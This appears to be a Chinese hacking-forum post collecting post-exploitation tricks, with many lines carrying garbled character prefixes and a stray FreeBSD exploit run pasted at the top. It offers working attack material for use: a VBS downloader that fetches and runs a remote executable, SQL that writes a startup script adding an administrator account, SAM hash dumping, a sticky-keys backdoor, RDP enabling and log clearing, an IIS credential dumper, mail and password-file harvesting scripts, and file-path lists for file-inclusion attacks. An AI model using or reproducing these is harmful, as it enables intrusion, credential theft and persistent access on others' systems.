* freebsd 7.3-RELEASE GENERIC
% H( v! B& B. \% p, W8 n9 r  [% l* [argp@julius ~]$ sysctl vfs.usermount
* u/ n1 k* E& E* vfs.usermount: 1
+ a# P) C4 Y7 r7 L: k/ f* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
3 \2 [2 s" X0 V+ B. e4 j5 t1 ~1 Q* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
% t, f2 I. A* z* [argp@julius ~]$ ./nfs_mount_ex
  E) q. H) _% h% u; ]9 i*
, l! [% y3 s; T3 tcalling nmount()

! ?! |( h3 S: r9 N/ P! B（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
, H: g6 T8 U8 }% M2 b' [, s3 g——————————————
, W) p" R- k& a感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
  I5 M3 `7 w: e7 T  m. |/ M+ m————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
: p+ B# e; e' C+ V% w) f; Salzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
- i* }6 D7 g& Y, F那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
2 d2 @3 a$ u. D6 Q2 t3 W4 e, V6 S}  

提权先执行systeminfo
9 b7 C2 C3 \# ^token 漏洞补丁号 KB956572
0 }- b9 o, ^" kChurrasco          kb952004
1 t" `" S$ h& R$ r* }+ B1 J命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
+ [# k  n- |" q8 o. X/ j6 G3 \for window：

@echo off
) `5 \) z+ E+ @8 I4 U+ Qecho #########system info collection
! k5 w7 p3 \* u2 `: zsysteminfo
) S% B! L) \: H8 X+ }ver
7 }! M7 l9 _$ M2 Y8 R9 zhostname
net user
net localgroup
net localgroup administrators
net user guest
5 O3 z/ Q) q5 d/ x3 D  ]net user administrator
( R, S3 G% g' ~# o: H
echo #######at- with   atq#####
: q. J/ b6 I  F0 H/ _1 L/ o: Techo schtask /query

echo
6 i2 R0 j3 ~, `' fecho ####task-list#############
tasklist /svc
echo
1 C* w, M$ |# Z, Xecho ####net-work infomation
8 m1 N! j2 ], Iipconfig/all
8 q2 g2 r* B4 [3 U- l) @+ Vroute print
arp -a
netstat -anipconfig /displaydns
  L/ M- x# [: k- ^echo
echo #######service############
sc query type= service state= all
. ?/ Y. F+ _0 G  K4 p" `+ _6 Aecho #######file-##############
cd \
tree -F
for linux：
- d' a& _9 c! R0 O4 W
3 c5 b: C/ w4 T' U& ~' a#!/bin/bash

echo #######geting sysinfo####
$ G7 @( K" u: V- j6 becho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
2 _! Y1 Q& u; |* d2 o/ r3 secho #######basic infomation##
cat /proc/meminfo
echo
/ g! w; w" N8 J4 lcat /proc/cpuinfo
* Z' d, S: W# V% e6 lecho
rpm -qa 2>/dev/null
" f" I/ a" K3 E  Z* O: S! G######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
, q1 p9 H' D' Y
9 L' x' |4 K# Z
) P& w' J/ F  J/ R5 uecho 'u'r id is' `id`
( K1 M8 @5 \9 `/ ?9 }( Iecho ###atq&crontab#####
atq
crontab -l
echo #####about var#####
1 ?2 |' Q' @; Kset
( J, S: q* B3 F" X
* P8 k4 b+ L7 S& \9 Lecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
4 E4 b$ {' X( wcat /etc/hosts
hostname
ipconfig -a
  y  F" i/ ]) R% Qarp -v
( ~+ Z  }$ n; Y* w" Aecho ########user####
cat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list

6 x9 z( a- _! N# kfor i in {oracle,mysql,tomcat,samba,apache,ftp}
5 V7 Z. h4 x4 y$ E! {! O5 `cat /etc/passwd|grep -i $i
done

0 {; ^& t$ r. `( H: J# {, Wlocate passwd >/tmp/password 2>/dev/null
7 w3 M2 A7 D3 Nsleep 5
6 F- f- ?; N; Wlocate password >>/tmp/password 2>/dev/null
9 l9 W6 B) r- w6 d- j! B7 _sleep 5
8 s9 y# K; E( [) _8 j( llocate conf >/tmp/sysconfig 2>dev/null
6 q3 }/ d) A- Q9 n* Ysleep 5
4 e( f9 j0 z! {# a6 a  blocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
; C: x5 ^- @' a
/ i4 w1 \8 p; _6 ?###maybe can use "tree /"###
# n0 w: o& X+ n  n' a/ k1 z; Hecho ##packing up#########
- H) z3 [( l/ Y0 c0 w* Dtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
4 _/ E% `# v0 Srm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
) P5 L" g$ r4 J' Z, _" M& w3、ethash 不免杀怎么获取本机hash。
- u7 i- L! n& G, F/ Z2 W4 O' r% F首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
) e% H' @5 Q% b接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
( s  \6 I. e& \1 R% m1 L% x, H7 R* Bhash 抓完了记得把自己的账户密码改过来哦！
! N! ?1 M# ^" K" X据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
2 `1 U* F# M; [+ i: d1 k——————————————
4、vbs 下载者
1
, H: X2 S; @- F( x) necho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
1 z' D/ E: d( @5 |$ techo sGet.Type = 1 >>c:\windows\cftmon.vbs
' K* m& N0 T' P! f  g" O1 m2 Y0 Hecho sGet.Open() >>c:\windows\cftmon.vbs
; K! s. J! y0 Q/ C: L/ Wecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
4 e# |, O8 b0 [: J% q1 decho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
3 O& O  E2 {1 q7 C( n  I# [echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
, g( g3 p+ k& \- i* ]. techo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
; m- a' p6 ]4 c' ?' N6 b
3 y3 a$ n. Z( Z! y8 G( p5 l2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
6 L+ w  k+ m. M1 r0 hSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
) z' f4 s- [9 B$ [/ @5 s4 u; q& rSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
* }( G3 a/ H  z) F+ M# m0 L
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
, s& }0 W4 V8 \( [
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
7 a1 `. h" X. R; Y5、
0 U4 T) S. ?5 Z  Y1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
5 R$ @  H/ F+ u3 {: W2.开启XP&2003终端服务
, A; D) \% Q2 @$ ]3 l! zREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
: k! C7 ]( p- h# B, R. linsert into a values ("set wshshell=createobject (""wscript.shell"")");
6 L: U% `2 s" N! }) A8 N) Pinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
/ H- [% d4 ?6 B% r  ~select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
- }* L* U! H2 N* n————————————————————
% {- {8 k! k6 f3 h# a+ a7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
- {( h, w$ u/ D; ]: S  \0 ]" E7 w" X_____
  p. x3 f( v* C9 m1 e8、for /d %i in (d:\freehost\*) do @echo %i
- x8 e- ^# v2 Q0 O0 h3 Y
1 \: c6 L+ F$ f' H7 g4 p列出d的所有目录
+ p, ^* A& L' r/ v  
  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

# L8 b* `) s9 H# r( \2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
' `- e7 k$ G" f
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3 u5 V9 R+ {9 J. L3 S) [' |- B% n3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

; I% V7 c& i/ d5 C- J# `% u4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
# S# w+ t& ^" r% _. d2 O9 S& V& H3 O) ]
  delims=后的空格是分隔符 tokens是取第几个位置
) r+ J& E' P$ s) Z" b——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
! H. }" A4 ]6 @# y
2.修改3389的默认端口:
9 R- u% U6 s. hHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
# E5 Q2 [( H! l; k& ?修改PortNumber.
, h" @2 @( V, X- Q/ V( r3 f
- v3 W4 e/ N$ I" h, F& T. k3.清除3389登录记录:
2 ], d: t) h  L' j/ \+ [reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

' h: I% K, u6 ~. P8 H4.Radmin密码:
) Z' m& a6 z. @. Breg export HKLM\SYSTEM\RAdmin c:\a.reg
; z  F' Y" x" K$ ^6 L
% R* A9 m4 V& l$ w" O0 t5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

" o8 P: K6 J+ A2 A5 r: `) u% E/ b6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
7 j) h3 F! y* E1 c/ M0 w. ?或者
netsh ipsec dynamic set config ipsecexempt value=0
6 ^' J" V5 J/ q% C- u4 T5 _" U
% U8 w2 B2 j% f: k) r4 P7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
" n5 i. ?& M2 ?" d, ]6 v
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
0 R+ U# b0 _1 i' P( q
- z* ~5 d* z+ p, Z0 e- _10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
8 ?) }6 p: x7 S! F' {, c& j! x
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
4 s! j3 ~/ D( T* V: U  n星外vbs(注：测试通过，好东西）
/ G+ q# c7 N; @/ t# ?) ISet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
5 k; D0 S9 {; w3 W3 \if err.number<>0 then
exit for
msgbox("error!")
+ i" Y3 C% x( l* |# B$ k5 q+ iwscript.quit
end if
( e. C: K# j" o; n( B$ [serverbindings=IIS.serverBindings
  M- M/ z- U* D* m4 D) lServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
& a$ L  }2 y+ uNext
( m8 S1 X7 T7 Mwscript.echo list
+ f% o; K# N' ~5 {; c1 [9 \( d; hSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
4 t' E" \8 J+ V9 z; X----------------------2011新气象，欢迎各位补充、指正、优化。----------------
; Y# i1 f' P1 I/ P9 l! _4 W+ e1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
" i; J8 v/ P; f将folder.htt文件，加入以下代码：
3 S% M+ M5 \9 F0 _$ w, z2 V<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
1 A- [8 e& H! s$ Y* WPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
$ P6 t% T% ^' `: `" c, t9 X 原因是ASP大马里有这样的代码：（没有就没事儿了）
6 l0 G$ b. q( P5 R7 R, n url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
2 a+ e) h0 y( `6 t" q8 o url=request.severvariables("path_info")
7 f& {% o5 O$ r0 u# P0 c# }) N path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
5 A1 w, n8 G0 }/ p- C+ `4 ~LINUX常见路径：

/etc/passwd
' D9 ~/ k, D$ o) X/etc/shadow
/etc/fstab
9 z7 I* v8 k' h5 N/ i% C/ e1 C/etc/host.conf
* Q6 `, Q% I- w" {4 _/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
. [+ e$ n3 _5 p; l+ e) h. |/var/httpd/conf/php.ini
; R& T" D' e! d0 N/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
" K) e, P( s! c/var/httpd/conf/php.ini
/ _2 M* j; |2 [5 ~/var/www/index.html
' w& `' q8 l1 m/ g; ]/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
( i; O2 L+ }$ n/opt/www/htdocs/index.html
- @/ Z: d' y5 Q/ L. v/usr/local/apache/htdocs/index.html
( M  h1 |( O& _0 w2 A  |" }/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
6 g# G7 r+ T3 K/ D3 `1 N/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
$ `" Y3 _! \0 s' V& `7 `1 ?! c/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
4 x. `7 w' b) S  W/tmp/apache/htdocs/index.php
! D8 d  x- p3 B0 j  b/etc/httpd/htdocs/index.php
2 R' y+ H1 g# }7 x  }% Y. d; W4 @/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
5 Z, _4 V% Q5 q$ N/ |) q  J/www/conf/httpd.conf
; A5 C& G( A6 P; z. f0 Q+ Y) f6 K/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
  m8 \7 ~4 {7 L6 i" G" t8 z4 @/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
0 ^& O: ~2 G9 v, {- m1 \1 y' J, W/etc/httpd/conf.d/php.conf
, ?2 N( ~- x: ^: Y# `$ K/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
) D' k) u# s% F2 Q9 V9 A, \, y) A0 X/etc/httpd/logs/error.log
1 b* a- l7 J& t1 r& p% j/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
  n1 e) I+ D) _8 X$ Q/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
6 l# _1 `* e* F# o6 e* x4 P/var/log/apache/error_log
/var/log/apache/error.log
1 r- W8 e( K, z+ E, R9 n; F/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
) L1 x4 \  ]5 X+ x+ m$ m/var/log/apache2/error.log
/var/log/apache2/access_log
5 _' u: @3 h8 y" e9 i/var/log/apache2/access.log
, G9 Q+ h$ S+ o/var/www/logs/error_log
/var/www/logs/error.log
, N  `$ b9 K) [/ c' g4 j/var/www/logs/access_log
* Y" t/ ], O0 H! h/var/www/logs/access.log
1 o& i4 G7 }" g2 B6 ^' r# @+ I' q/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
8 m& V1 c8 Q! q/usr/local/apache/logs/access.log
1 y# P" @  x1 I4 L/var/log/error_log
. s; n' h8 O, M- ?$ Y; O! m/var/log/error.log
- J; @& i. Y" n, r, L: {% q7 T/var/log/access_log
+ P- i, U4 X  T; W, e8 d6 P5 x/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
5 K' |2 b1 B" V8 k$ i+ N+ p( S/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
0 t4 U3 @4 L$ u! D5 v8 ~- [3 u/bin/php.ini
' A; ]  y" M5 ^/etc/init.d/httpd
! q3 i& z" c# E8 R* i/etc/init.d/mysql
0 W. E. o3 z' i1 G' M/etc/httpd/php.ini
% I2 @  B; _, F' z# m! ^0 j/usr/lib/php.ini
/usr/lib/php/php.ini
' x# l* L. a4 r" x/usr/local/etc/php.ini
6 }1 V, b: I' d/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
$ o8 Z& q# f2 h) }  ~# J. Z- h3 U/usr/local/php4/lib/php.ini
; K/ {4 k, @7 x+ T; n+ Q( d/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
. F) b/ ?1 K$ Q7 p7 w/usr/local/php5/etc/php.ini
. n5 V' U- t; K# a- ]( v/usr/local/php5/php5.ini
5 x$ a6 ]# W6 ?) |3 R4 N/usr/local/apache/conf/php.ini
+ p3 N: |6 j2 \' G8 j6 y& B/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
! ?  J0 S, e1 \( j, @; [/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
3 K% J. m- O* L: y4 _4 e) s& U/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
% s; \" ?1 L5 w* k/etc/php/php.ini
/etc/php/php4/php.ini
5 D1 ^4 u0 q* D, f+ g5 a/etc/php/apache/php.ini
/etc/php/apache2/php.ini
; @" z, A7 |0 X. {# J/web/conf/php.ini
. d' A3 E# U, ^% d, T/usr/local/Zend/etc/php.ini
! ]0 d) t7 |  c' f# n2 f+ |/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
  q: h" c) V" I8 o7 [- `/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/ e1 n) ~1 C% [3 s: L, z5 \' R7 ]/php5/php.ini
# ^9 Q" d9 r4 G) T5 I! p8 F% H/php4/php.ini
2 U- N- L9 h* P/php/php.ini
2 |" I' B4 Z$ H8 Y/ ^1 K/PHP/php.ini
+ h. Y; u- q7 m, {, R8 v. j$ H/apache/php/php.ini
! a9 G- J8 e, s2 |1 ]3 |3 U; |% a/xampp/apache/bin/php.ini
3 B4 j% y3 E1 ^! C, ]( w5 J: ]/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
  X- |9 _4 ]/ a$ J, x; Q+ P/home2/bin/stable/apache/php.ini
: U, s: p' |. c( z3 w/ J: {/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
* A; u. }; e1 u9 |' s/var/log/mysqlderror.log
9 c& X/ z- E% j6 m4 |/var/log/mysql/mysql.log
* l0 V: V* w# G! l/ K  V2 M4 {/var/log/mysql/mysql-slow.log
5 I& o% A* Q2 @: ~3 y9 q2 b7 q/var/mysql.log
+ ~% @+ p- {+ _* u/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
; `3 ^8 ]6 @( V1 w, O; t/usr/local/cpanel/logs
4 Z0 B) r4 k& L0 t7 z3 p* }/usr/local/cpanel/logs/stats_log
8 `( m8 G' r. [1 Z/usr/local/cpanel/logs/access_log
- E% f/ M& b( F7 q* x& m$ C/usr/local/cpanel/logs/error_log
+ Z2 ~/ a4 D" f4 K, q" ^/usr/local/cpanel/logs/license_log
  }$ G. e8 s" _! |3 U0 ]/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
- P# b: T9 A2 O) e7 p( j0 L8 I/usr/local/share/examples/php4/php.ini
; t: p0 z4 v: S2 [/usr/local/share/examples/php/php.ini
4 a* e2 T5 _* c
3 @- m  i" E' q3 i' k2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
, P0 H# V' }+ |. c
c:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt
9 x2 f& u5 ^/ d5 _2 e4 y) P3 Q
6 l8 s" h3 d% T+ ^& A9 g, [% ~c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
: Y) e; |9 ]% f9 w7 ac:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
; o  r' x4 P- r# P8 v1 L& yC:\WinWebMail\SysInfo.ini
  \9 V, O  k- ~C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
3 O4 E: B6 W* |) qC:\WINDOWS\7i24iislog4.exe
+ Z5 `1 I. z8 I9 b( ^, TC:\WINDOWS\7i24tool.exe
' |# w( X/ A9 D- X* [! f% n
+ j. I4 _6 k0 f4 ]8 D. Sc:\hzhost\databases\url.asp

( o* Q4 ], m; s  j9 g! X  wc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
* W6 g3 D8 d4 K2 ^4 iC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
7 Z" j1 q9 u- J: r; l3 }c:\WWWROOT\index.asp
c:\web\index.php
+ }( U$ j3 v7 n1 Uc:\www\index.php
: l: d. X) a1 ^c:\WWWROOT\index.php
4 q9 P4 Y) _) o- lc:\WWWsite\index.php
c:\web\default.html
# Q) `+ A8 V( }! S' y; j, L2 G) nc:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
( H1 n/ p2 g" A' J( E6 l* cc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
7 }2 H- m' S* p0 tc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
- o$ ?" I* Z! m1 L/ dC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
* D' i1 y; h( U# q" ^, }) VC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
( V, P, o8 t. O9 I* D& _0 N+ [& aC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
* o6 q3 W5 Q! l/ h. [6 Y& T& hc:\ravbin\store.ini
" d& X/ ?7 y: p  Z' ~4 E' {1 {8 s5 Tc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
5 ]8 q( h* h6 @  G8 \C:\Documents and Settings\All Users\Start Menu\desktop.ini
* x' k1 r& ~! aC:\Documents and Settings\Administrator\My Documents\Default.rdp
9 @* F  C- A4 b2 }5 C6 H( Y& q% l% }2 sC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
) c; w# g( {& ?3 Y/ PC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
" y8 b9 W0 |8 q+ S  l& yE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
, g$ T% Y) R; Q1 a$ z/ O9 g( yC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
$ g/ Q9 `$ @) |C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
- {: V# X1 a  vC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
" c5 }5 S( @6 i+ f2 t2 I! k: EC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
6 x3 ^! \8 Q& `6 G8 \1 K8 gc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
! p: l7 e  @4 iC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
: b- D6 z" P& u' a( kc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
! h1 ^7 w4 L4 b3 m- C+ D# ^c:\tomcat6\tomcat6\bin\version.sh
/ g8 h3 A  i  }! Qc:\tomcat6\bin\version.sh
: O& D$ y! m. h$ \( ec:\tomcat\bin\version.sh
* z6 [5 E# _7 M" Jc:\program files\tomcat6\bin\version.sh
+ ^* ?! i  h6 M" P" G6 pC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
& |) Q( @# I( d8 zc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
